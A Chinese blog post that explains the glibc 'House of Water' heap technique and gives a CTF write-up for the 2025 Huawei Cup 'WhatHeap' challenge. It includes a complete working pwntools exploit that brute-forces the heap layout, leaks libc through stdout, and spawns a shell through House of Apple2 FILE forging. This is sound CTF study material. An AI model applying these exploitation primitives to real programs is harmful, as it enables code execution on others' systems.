Mobile wallpaper 1
4398 字
22 分钟
House of Water & 华为杯 2025 WhatHeap

House of Water#

说实话,因为之前大一一直在一个人学pwn,闭门造车,导致一堆板子题都无从下手。这次被大佬带着打这个比赛的初赛,才知道有这么一个技术。于是下定决心要学会这个技术。

概述#

这个技术由 Blue Water 提出,对这个技术的描述如下

House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache metadata control primitive, with the added benefit of obtaining a free libc pointer in the t-cache metadata as well.
NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will contain 4 bits of randomness. If you can increment integers, no brutefore is required.
By setting the count of t-cache entries 0x3e0 and 0x3f0 to 1, a "fake" heap chunk header of size "0x10001" is created. This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked address entries, enabling the creation of a fully functional fake unsorted-bin entry. The correct size should be set for the chunk, and the next chunk's prev-in-use bit must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values should be written.
Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer to be ready for allocation as well.
Technique / house by @udp_ctf - Water Paddler / Blue Water

这里大概翻译一下,是这样的

House of Water 是一种将释放后使用(Use-After-Free, UAF)漏洞转换为 t-cache
元数据控制原语的技术,同时还能获得在 t-cache 元数据中的免费 libc 指针这一额外好处。
注意:如果原语是写入原语,这需要进行 4 位暴力破解,因为最低有效位(LSB)将包含
4 位随机性。如果你可以递增整数,则不需要暴力破解。
通过将 t-cache 条目 0x3e00x3f0 的计数设置为 1,可以创建一个大小为
"0x10001""伪造"堆块头。
这个伪造的堆块头恰好位于 0x200x30 t-cache 链接地址条目的上方,
从而能够创建一个功能完整的伪造 unsorted-bin 条目。
必须为该块设置正确的大小,并且下一个块的 prev-in-use 位必须为 0
因此,需要从伪造的 t-cache 元数据块+0x10000 位置写入适当的值。
最后,由于从 unsorted-bins 进行分配的行为特性,一旦获得了 t-cache 元数据控制权,
还可以将 libc 指针插入到元数据中。这使得 libc 指针也可以准备好用于分配。
技术/house 由 @udp_ctf - Water Paddler / Blue Water 开发

如果到这样还不太能看懂,也问题不大。我们接下来就把它的整个攻击流程扒出来

前置条件 & 特殊点#

该技术的前置条件为

  1. 程序存在 UAF 漏洞
  2. 程序可以申请足够大的堆块

其技术的特殊点在于,该技术完全不需要泄露内存地址,也不需要堆的溢出。

其最终的效果是在 tcache 上留下一个 libc 相关的地址,并能够将其申请出来

攻击目标#

在程序开始运行,并遇到第一个 malloc 时, main_arena就会开始初始化。

在 libc 2.31+ 的环境下,程序默认会分配一个 0x290 的内存大小对 tcache_perthread_struct 结构体,该结构体会存储 tcache 链表中不同大小的 chunk 的个数,及最后进入链表的 chunk 的 data 地址。

其源码如下

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

这个技术就是通过申请一个 0x3e0的堆块,和一个 0x3f0 的堆块来伪造一个 0x10001 size 的堆块头,再通过一些操作,在 tcache_perthread_struct 的 entries中留下一个 libc 的地址,从而让我们能够申请到 libc 上的内存

Demo#

这里我直接使用 how2heap 的示例作为 Demo

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(void) {
void *_ = NULL;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
void *fake_size_lsb = malloc(0x3d8);
void *fake_size_msb = malloc(0x3e8);
free(fake_size_lsb);
free(fake_size_msb);
// This is just to make a pointer to the t-cache metadata for later.
void *metadata = (void *)((long)(fake_size_lsb) & ~(0xfff));
void *x[7];
for (int i = 0; i < 7; i++)
x[i] = malloc(0x88);
void *unsorted_start = malloc(0x88);
_ = malloc(0x18); // Guard chunk
void *unsorted_middle = malloc(0x88);
_ = malloc(0x18); // Guard chunk
void *unsorted_end = malloc(0x88);
_ = malloc(0x18); // Guard chunk
_ = malloc(0xf000);
void *end_of_fake = malloc(0x18);
*(long *)end_of_fake = 0x10000;
*(long *)(end_of_fake+0x8) = 0x20;
for (int i = 0; i < 7; i++)
free(x[i]);
*(long*)(unsorted_start-0x18) = 0x31;
free(unsorted_start-0x10); // Create a fake FWD
*(long*)(unsorted_start-0x8) = 0x91;
*(long*)(unsorted_end-0x18) = 0x21;
free(unsorted_end-0x10); // Create a fake BCK
*(long*)(unsorted_end-0x8) = 0x91;
free(unsorted_end);
free(unsorted_middle);
free(unsorted_start);
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
// Next allocation *could* be our faked chunk!
void *meta_chunk = malloc(0x288);
assert(meta_chunk == (metadata+0x90));
}

Step1#

首先 b 21

此时bins是这样的

image

我们这时候看 tcache_perthread_struct

image

框住的部分即为free 0x3e0及0x3f0 后发生的变化

我们可以看到,在地址 0x555555559088的位置伪造出了一个 0x10001的 fake size。这个数值就可以直接作为我们后面构建的 fake chunk 的size。也就是说,我们可以通过这个值构建一个 fakechunk,而我们只要free这个fake chunk​,就能够让其进入 unsorted bin,从而在 tcache_perthread_struct 上留下 libc 地址。接下来,我们就只需要去申请相应的chunk就能够拿到 libc 的地址的 chunk了。

Step2#

我们接下来 b 39,也就是打在对 end_of_fake的 fd及bk修改完之后

这是我们使用heap -v查看

image

可以看到,此时以及将对应的chunk的fd及bk写成了 0x10000及 0x20

我们这么做,是为了绕过所谓 unsorted bin 的检测。保证其 0x10000检测到的是 fake chunk。我们之前想要构建的 fake chunk 的地址为 0x555555559080 开始。

为了让我们的fake chunk合法,我们需要让其在结束时,其下一个 chunk 的 prev_size 位记录的是 0x10000,且存放 size 的 prevInUse 位标记为0。而接下来的操作就是对这个 fake chunk 进行装修

Step3#

接下来我们 b 54

中途我们将之前申请的 7 个 0x90 的 chunk 全部 free掉,使得 size 为 0x90 的 tcache填满,以确保之后的 3个 0x90的 chunk 能够顺利进入 unsorted bin。

随后在 unsorted_start及unsorted_end 的上方伪造堆块,并将其释放。

由于堆块进入 tcache 后,其 fd+8的位置会生成一个 key,其作用为检测当前 tcache上是否存在 double free 操作。这个 key的存在会破坏原先的 unsorted_start及unsorted_end 的 size位。我们 47行及 53行的代码就是为了修复 两堆块的 size 位而弄上的。

对于这里小堆块的伪造,我们是直接在 unsorted_start - 0x18 记录为 0x31,以此作为fake chunk 的size位,随后直接释放。

而unsorted_end 我们对其伪造的 fake chunk 的大小为0x20。

这两个大小的fake chunk 的伪造,就是为了装修我们之前在 tcache_perthread_struct弄出的 fake chunk。当我们完成这些装饰后,再去看现在的 fake_chunk 就能发现,现在其已经变成了这样

image

其原理实际为, 在 tcache_perthread_struct中,偏移0x90为 entires链表的起始地址,其存放的是 0x20大小的、最后进入 tcache 链表的堆块的地址。而0x98记录的为相应的,大小为 0x30的堆块地址

此时 bin 存放情况

image

Step4#

接下来,我们 b 61

中途,我们将 unsorted_end , unsorted_middle , unsorted_start free掉

此时,我们 bin 结构如下

image

Step5#

最后,我们 b 68

期中,我们为了让 tcache_perthread_struct 中的 fake chunk 链入 unsorted bin,在这里将 unsorted_middle 替换为了 fake_chunk,也就是让 unsorted_start的fd指向 fake_chunk,unsorted_end的 bk指向 fake_chunk。这样也就完成了 unsorted bin 上的堆块替换操作

最后的 bin 结构如下

image

总结#

House of water是一种能够在没有内存泄露的情况下,在 tcache链上留下 libc的相关地址的技术,当然,我们在修改 unsorted_start及unsorted_end 的指针,让 fake chunk 链入 unsorted bin 的步骤上进行一个1/16的爆破

自认为该技术主要难点在于伪造并释放 0x30及0x20 的两个 chunk。建议在做题时注重于这个点

2025 华为杯初赛 WhatHeap#

这道题没有溢出点,函数功能有 malloc 和 free,无edit和show函数 ,glibc3.39

其漏洞为free后指针未置空,UAF漏洞。

程序申请 chunk 数量 <= 255,size <= 0x888。

因而这个题目几乎就是告诉你利用 House of water 攻击了

我们的思路为 利用 House of Water 得到libc地址;打IO FILE泄露libc;再打 House of apple2 拿到shell。

我们这里因为没有 Edit 和 Show 函数,所以得想办法获得 fake 0x30和 fake 0x20的索引。我这里直接通过切割一个较大的堆块来获得其索引

new(0x600) # 0
new(0x600) # 1 fake 0x30
new(0x600) # 2
new(0x500) # 3
delete(0)
delete(1)
delete(2)
new(0x610) # 4
new(0x500) # 5 unsorted_start
delete(4)
delete(5)
new(0x610,
flat([
b'\x00'*0x608,
p64(0x31)
])
) # 6
delete(6)
delete(1)
new(0x610) # 7
new(0x500) # 8 unsorted_start
new(0x6e0) # 9

具体的操作可以自己 Debug看一下。

刚开始创建一个 0x610 * 3,即 0x1230的连续空间,之后用 0x500 的堆块防止合并

image

free掉三个0x610堆块

image

new一个0x620的堆块,一个0x510的堆块

image

再全部free

image

再new一个 0x610的堆块,修改到之前的0x600的位置的size位

image

再用之前的free掉相应位置,从而成功在 tcache的0x30位置放上其地址

image

再将之前布置好的全部申请回来

image

这样就完成了 fake0x30的索引获取以及unsorted_start的初始化

对于 fake 0x20及 unsorted_end也是这么布置的

new(0x600) # 10
new(0x600) # 11 fake 0x20
new(0x600) # 12
new(0x500) # 13
delete(10)
delete(11)
delete(12)
new(0x610) # 14
new(0x500) # 15 unsorted_end
delete(14)
delete(15)
new(0x610,
flat([
b'\x00'*0x608,
p64(0x21)
])
) # 16
delete(16)
delete(11)
new(0x610) # 17
new(0x500) # 18 unsorted_end
new(0x6e0) # 19

image

获得 unsorted_middle 索引

new(0x500) # 20 unsorted_middle
new(0x600) # 21

根据house of water,在 tcache perthread struct上伪造一个 0x10000的堆块(创建标志位)

new(0x3e8) # 22
new(0x3d8) # 23
delete(22)
delete(23)

获得tcache的索引,该tcache能修改 fake 0x30和 unsorted_start。(后面还有一个差不多的)

# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x30 和 unsorted_start
delete(7)
delete(8)
new(0x300) # 24
new(0x300-0x20) # 25
new(0x330) # 26 change unsorted_start
delete(26)
new(0x1e0) # 27
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x20 和 unsorted_end
delete(17)
delete(18)
new(0x300) # 28
new(0x300-0x20) # 29
new(0x340) # 30 change unsorted_end
delete(30)
new(0x1d0) # 31

此时bins长这样,我们现在的0x340和0x350就是能够分别修改到 unsorted start+fake0x30和unsorted end+fake 0x20的堆块

image

我们此时通过这两个堆块,修改其size为0x511

new(0x330,
flat([b'\x00'*0x18, p64(0x511)])
) # 32
delete(32)
new(0x340,
flat([b'\x00'*0x18, p64(0x511)])
) # 33
delete(33)

填充堆块到0x10000,并修改这里 的 fake prev_size 为0x10000 , size 为 0x20

for i in range(36):
new(0x500) # 34-69
for i in range(7):
new(0x88) # 70-76
new(0x210) # 77
new(0x30,p64(0x10000)+p64(0x20),0x20) # 78

提前安排 0x240和0x250进tcache,在后面能够用到

new(0x238) #79
new(0x248) #80
delete(79)
delete(80)

释放三堆块

delete(18)
delete(20)
delete(8)

修改start的fd及end的bk,让其指向fake chunk

new(0x330,
flat([
b'A'*0x10,
b'\x00'*8, 0x511,
p16(0x0080)
])
) # 81
delete(81)
new(0x340,flat([
p16(0x0080)
]), 0x28) # 82
delete(82)

这里因为不知道heap基地址,所以是一个 116\frac{1}{16}概率的爆破

try:
new(0x500) # 83
except:
io.close()
continue

这个时候就成功将libc地址拍上了,而且我们能够完全控制tcache,获得我们想要的所有东西,申请到任意地址的内存

image

image

将多余的bins申请出来

new(0x500) # 84

修改libc地址后四位,使得能够申请到 stdout。这里因为不知道libc基地址,所以也是一个一位爆破,概率是116\frac{1}{16}

随后打stdout泄露libc

mask = libc.sym['_IO_2_1_stdout_'] & 0xFFFF
new(0x100,p16(mask)) # 85
new(0x100,p16(mask)) # 86
try:
new(0x230,p64(0xfbad1800)+p64(0)*3+p16(mask)) # 87
except:
io.close()
continue
libc_base = 0
try:
if io.recvuntil(b'\xad\xfb',timeout=1) == b'':
raise ValueError("leak libc error")
libc_base = u64(io.recv(9*4)[-8:]) - libc.sym['_IO_2_1_stdout_']
success(f"Leak_Addr:{hex(libc_base)}")
except:
io.close()
continue

image

释放tcache 上面的堆块,重新编辑结构体

delete(86)
_io_list_all = libc_base + libc.symbols['_IO_list_all']
wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
system_addr = libc_base + libc.symbols['system']
write_addr = libc_base + 0x205000
new(0x100, flat([
0, _io_list_all, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,write_addr
])
) # 88

打house of apple2

fake_file = house_of_apple2_all_in_one(
_IO_wfile_jumps = wfile_jumps,
addr = write_addr, # 被你覆写的 FILE 对象地址
RIP = system_addr,
)
lg("write_addr")
new(0x330, fake_file) #89
new(0x240, dopk(write_addr)) #90
new(0x20, b'A', 1) #91
choice(5)
io.sendline(b'exec /bin/sh 1>&2')

最后获得shell

image

完整exp:

from random import choices
from pwn import *
import libcfind
import os
import subprocess
IsDebug = False
Remote_Setting = "".split()
print(Remote_Setting)
#Init Space
file = os.path.realpath('./whatheap')
libc = ELF("./rpath/libc.so.6")
gdb_plugin = '/home/mindedness/pwn'
#=====================================================
# auto init
elf = ELF(file)
484
context.binary = elf
context.os = 'linux'
if Remote_Setting:
io = remote(Remote_Setting[0], int(Remote_Setting[1]))
print("Remote Mode")
Local = False
else:
io = process(file)
print("Local Mode")
Local = True
if IsDebug:
context.log_level = 'debug'
def Debug():
pass
if Local:
#use ptrace
context.terminal = ['wt.exe', 'wsl.exe', '-e']
# context.terminal = ['tmux', 'split-window', '-v', '-t', '0']
# tty_0 = subprocess.check_output([
# 'tmux', 'display-message', '-p', '#{pane_tty}'
# ]).decode().strip()
# tty_1, pane_id_1 = subprocess.check_output([
# 'tmux', 'split-window', '-h', '-P', '-F', '#{pane_tty} #{pane_id}', 'cat -'
# ]).decode().strip().split()
# gdb_script = f"""
# set context-output {tty_1}
# define hook-quit
# shell tmux kill-pane -t {pane_id_1}
# end
# rename_import ./.rename
# """
gdb_script = """
rename_import ./.rename
"""
def Debug():
gdb.attach(io, gdbscript=gdb_script)
pause()
# if os.environ.get("TMUX") == None:
# def Debug():
# print("Not in tmux, cannot use Debug().\nPlease run this script in tmux.")
# pass
unpk = lambda unpack : b""
dopk = lambda dopack : b""
if elf.arch == 'i386':
Words = 4
unpk = lambda unpack : u32(unpack.ljust(Words,b'\x00'))
dopk = lambda dopack : p32(dopack)
elif elf.arch == 'amd64':
Words = 8
unpk = lambda unpack : u64(unpack.ljust(Words,b'\x00'))
dopk = lambda dopack : p64(dopack)
else:
Words = int(input("Input Address Byte: "))
success(f"Arch = {elf.arch} || B = {Words}")
# 函数绑定
int_to_byte = lambda numbers=0 : str(numbers).encode('utf-8')
sla = lambda rcv, snd: io.sendlineafter(rcv, snd)
sl = lambda snd: io.sendline(snd)
sa = lambda rcv, snd: io.sendafter(rcv, snd)
rcv = lambda num, t=Timeout.default: io.recv(num, t)
rcvn = lambda num, t=Timeout.default: io.recvn(num, t)
rcu = lambda stop, drop=False, t=Timeout.default: io.recvuntil(stop, drop, t)
SHELL = lambda: io.interactive()
#=====================================================
#板子
def tcache_safelink(target_addr, tcache_addr):
return target_addr ^ (tcache_addr >> 12)
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload
def house_of_some_read(read_from, len, _chain):
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
fake_IO_FILE.fileno = 0
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_base = read_from
fake_IO_FILE._IO_write_ptr = read_from+len
fake_IO_FILE.chain = _chain
fake_IO_FILE.vtable = libc.sym['_IO_file_jumps'] - 0x8
return bytes(fake_IO_FILE)
def house_of_some_write(write_from, len, _chain):
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x8000 | 0x800 | 0x1000
fake_IO_FILE.fileno = 1
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_base = write_from
fake_IO_FILE._IO_write_ptr = write_from + len
fake_IO_FILE.chain = _chain
fake_IO_FILE.vtable = libc.sym['_IO_file_jumps']
return bytes(fake_IO_FILE)
def house_of_apple2_all_in_one(_IO_wfile_jumps, addr, RIP): # 算好偏移直接all in one 总长度0x240
# 0xd8一个_IO_FILE 0xe0一个wide_data
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
payload = b""
# wide_data
wide_data_entry = addr + 0xe0 # 0x8 block to before
wide_data_vtable_entry = addr + 0xe0 + 0xe0 # offset of wide_data_vtable
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = u64(b" sh 1>&0")
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE._lock = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
payload += fake_IO_FILE
# wide_data 这里只要控制vtable即可
pad = flat([
b'\x00'*0xe0,
wide_data_vtable_entry
])
payload += pad
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload += p64(RIP)*0x10
return payload
#=====================================================
#Function
def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def choice(ch = 0):
choiceText = b"Your choice >> "
sla(choiceText, int_to_byte(ch))
def new(size, content=b'A', offset=None):
choice(1)
playText = b"do you want to play a game ?(1/0)"
sizeText = b"Input the size of your chunk: "
contentText = b"Input: "
sla(sizeText, int_to_byte(size))
if offset is not None:
setOffsetText = b"you can set a offset!"
sla(playText, b"1")
sla(setOffsetText, int_to_byte(offset))
else:
sla(playText, b"0")
sla(contentText, content)
def delete(index):
choice(2)
indexText = b"idx: "
sla(indexText, int_to_byte(index))
def show(index): #fake function
choice(3)
# indexText = b"idx: "
# sla(indexText, int_to_byte(index))
# rcu(b"Content: ")
pass
def gift():
choice(4)
#=====================================================
#exp
"""
这个题目 show 函数无实际功能,edit无溢出点, 有 UAF , 无申请堆块大小限制, libc版本为 2.39-0ubuntu8.6
因而,我们的思路就是利用 house of water 控制 tcache,后利用 IO_FILE 泄露 libc 地址,再用 house of apple 获得 shell
"""
"""
该题目难点在于,无edit函数,只有add,因而
"""
while True:
io = process(file)
context.log_level = "Info"
new(0x600) # 0
new(0x600) # 1 fake 0x30
new(0x600) # 2
new(0x500) # 3
delete(0)
delete(1)
delete(2)
new(0x610) # 4
new(0x500) # 5 unsorted_start
delete(4)
delete(5)
new(0x610,
flat([
b'\x00'*0x608,
p64(0x31)
])
) # 6
delete(6)
delete(1)
new(0x610) # 7
new(0x500) # 8 unsorted_start
new(0x6e0) # 9
new(0x600) # 10
new(0x600) # 11 fake 0x20
new(0x600) # 12
new(0x500) # 13
delete(10)
delete(11)
delete(12)
new(0x610) # 14
new(0x500) # 15 unsorted_end
delete(14)
delete(15)
new(0x610,
flat([
b'\x00'*0x608,
p64(0x21)
])
) # 16
delete(16)
delete(11)
new(0x610) # 17
new(0x500) # 18 unsorted_end
new(0x6e0) # 19
# 获取 unsorted_middle 的索引
new(0x500) # 20 unsorted_middle
new(0x600) # 21
# 伪造 fake unsorted chunk (size、fd、bk)
new(0x3e8) # 22
new(0x3d8) # 23
delete(22)
delete(23)
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x30 和 unsorted_start
delete(7)
delete(8)
new(0x300) # 24
new(0x300-0x20) # 25
new(0x330) # 26 change unsorted_start
delete(26)
new(0x1e0) # 27
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x20 和 unsorted_end
delete(17)
delete(18)
new(0x300) # 28
new(0x300-0x20) # 29
new(0x340) # 30 change unsorted_end
delete(30)
new(0x1d0) # 31
new(0x330,
flat([b'\x00'*0x18, p64(0x511)])
) # 32
delete(32)
new(0x340,
flat([b'\x00'*0x18, p64(0x511)])
) # 33
delete(33)
# 在后面填充堆块
for i in range(36):
new(0x500) # 34-69
for i in range(7):
new(0x88) # 70-76
new(0x210) # 77
new(0x30,p64(0x10000)+p64(0x20),0x20) # 78
# 提前让 0x240、0x250 两个大小的堆块进入到 tcache,后面会用上
new(0x238) #79
new(0x248) #80
delete(79)
delete(80)
# 依次释放 unsorted_end、unsorted_middle、unsorted_start
delete(18)
delete(20)
delete(8)
# 令 unsorted_start 的 fd 指针和 unsorted_end 的 bk 指针指向 fake unsorted chunk
new(0x330,
flat([
b'A'*0x10,
b'\x00'*8, 0x511,
p16(0x0080)
])
) # 81
delete(81)
new(0x340,flat([
p16(0x0080)
]), 0x28) # 82
delete(82)
success("Try to House of water")
try:
new(0x500) # 83
except:
io.close()
continue
# 将多余的 largebin 申请出来
new(0x500) # 84
success("try to use IO_FILE leak address")
context.log_level = "Debug"
# 修改libc地址后四位,使得能够申请到 stdout。这里的概率是 1/16
mask = libc.sym['_IO_2_1_stdout_'] & 0xFFFF
new(0x100,p16(mask)) # 85
new(0x100,p16(mask)) # 86
try:
new(0x230,p64(0xfbad1800)+p64(0)*3+p16(mask)) # 87
except:
io.close()
continue
libc_base = 0
try:
if io.recvuntil(b'\xad\xfb',timeout=1) == b'':
raise ValueError("leak libc error")
libc_base = u64(io.recv(9*4)[-8:]) - libc.sym['_IO_2_1_stdout_']
except:
io.close()
continue
# context.log_level = "Info"
lg("libc_base")
success("House of Apple 2")
# 释放 tcache_perthread_struct 上的堆块,使我们能够再次编辑该结构体
delete(86)
_io_list_all = libc_base + libc.symbols['_IO_list_all']
wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
system_addr = libc_base + libc.symbols['system']
write_addr = libc_base + 0x205000
new(0x100, flat([
0, _io_list_all, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,write_addr
])
) # 88
fake_file = house_of_apple2_all_in_one(
_IO_wfile_jumps = wfile_jumps,
addr = write_addr, # 被你覆写的 FILE 对象地址
RIP = system_addr,
)
lg("write_addr")
new(0x330, fake_file) #89
new(0x240, dopk(write_addr)) #90
new(0x20, b'A', 1) #91
choice(5)
io.sendline(b'exec /bin/sh 1>&2')
# Debug()
io.interactive()
break
House of Water & 华为杯 2025 WhatHeap
https://blog.mindedness.top/posts/house-of-water--华为杯-2025-whatheap/
作者
Mindedness
发布于
2025-11-25
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00